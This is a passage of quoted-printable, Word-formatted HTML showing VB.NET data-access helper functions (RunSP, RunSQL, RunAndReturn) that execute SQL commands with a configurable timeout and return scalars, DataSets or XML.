style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">If<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">If<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: = blue">Next<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">If<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>BuildSPCommand =3D oCmd<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oCmd =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Function<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Public</SPAN> <SPAN style=3D"COLOR: = blue">Function</SPAN>=20 RunSP(<SPAN style=3D"COLOR: blue">ByVal</SPAN> SP <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: = blue">String</SPAN>, <SPAN=20 style=3D"COLOR: blue">ByVal</SPAN> ReturnType <SPAN style=3D"COLOR: = blue">As</SPAN>=20 BaseDAL.ReturnType, <SPAN style=3D"COLOR: blue">Optional</SPAN> <SPAN=20 style=3D"COLOR: blue">ByVal</SPAN> Params <SPAN style=3D"COLOR: = blue">As</SPAN>=20 Hashtable =3D <SPAN style=3D"COLOR: blue">Nothing</SPAN>) <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN=20 style=3D"COLOR: blue">Object<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oCmd <SPAN=20 style=3D"COLOR: blue">As</SPAN> SqlClient.SqlCommand =3D = BuildSPCommand(SP,=20 Params)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunSP =3D RunAndReturn(oCmd, = ReturnType)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oCmd.Dispose() : oCmd =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Function<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Public</SPAN> <SPAN style=3D"COLOR: = blue">Function</SPAN>=20 RunSQL(<SPAN style=3D"COLOR: blue">ByVal</SPAN> SQL <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: = blue">String</SPAN>, <SPAN=20 style=3D"COLOR: blue">ByVal</SPAN> ReturnType <SPAN style=3D"COLOR: = blue">As</SPAN>=20 BaseDAL.ReturnType) <SPAN style=3D"COLOR: blue">As</SPAN> <SPAN=20 style=3D"COLOR: blue">Object<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oCmd <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN>=20 SqlClient.SqlCommand(SQL,=20 OpenWarehouseDBConnection())<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunSQL =3D RunAndReturn(oCmd, = ReturnType)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oCmd.Dispose() : oCmd =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Function<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Private</SPAN> <SPAN style=3D"COLOR: = blue">Function</SPAN>=20 RunAndReturn(<SPAN style=3D"COLOR: blue">ByRef</SPAN> oCmd <SPAN=20 style=3D"COLOR: blue">As</SPAN> SqlClient.SqlCommand, <SPAN=20 style=3D"COLOR: blue">ByVal</SPAN> rtType <SPAN style=3D"COLOR: = blue">As</SPAN>=20 BaseDAL.ReturnType) <SPAN style=3D"COLOR: blue">As</SPAN> <SPAN=20 style=3D"COLOR: blue">Object<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oConfig <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN> = WMS.Config,=20 strTimeout <SPAN style=3D"COLOR: blue">As</SPAN> <SPAN=20 style=3D"COLOR: blue">String<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>strTimeout =3D oConfig.ConfigValue(<SPAN=20 style=3D"COLOR: olive">"MyDB"</SPAN>, <SPAN=20 style=3D"COLOR: = olive">"CommandTimeout"</SPAN>)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oConfig =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">If</SPAN> IsNumeric(strTimeout) <SPAN = style=3D"COLOR: blue">Then</SPAN> oCmd.CommandTimeout =3D <SPAN=20 style=3D"COLOR: = blue">CInt</SPAN>(strTimeout)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Select</SPAN> <SPAN=20 style=3D"COLOR: blue">Case</SPAN> rtType<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Case</SPAN>=20 ReturnType.NoReturn<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunAndReturn =3D = oCmd.ExecuteNonQuery()<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Case</SPAN>=20 ReturnType.Scalar<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunAndReturn =3D = oCmd.ExecuteScalar()<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Case</SPAN>=20 ReturnType.DataSet<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oDA <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN>=20 SqlClient.SqlDataAdapter(oCmd)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oDS <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN>=20 Data.DataSet<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oDA.Fill(oDS)<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oDA.Dispose() : oDA =3D <SPAN=20 style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>RunAndReturn =3D oDS<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Case</SPAN>=20 ReturnType.XML<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> 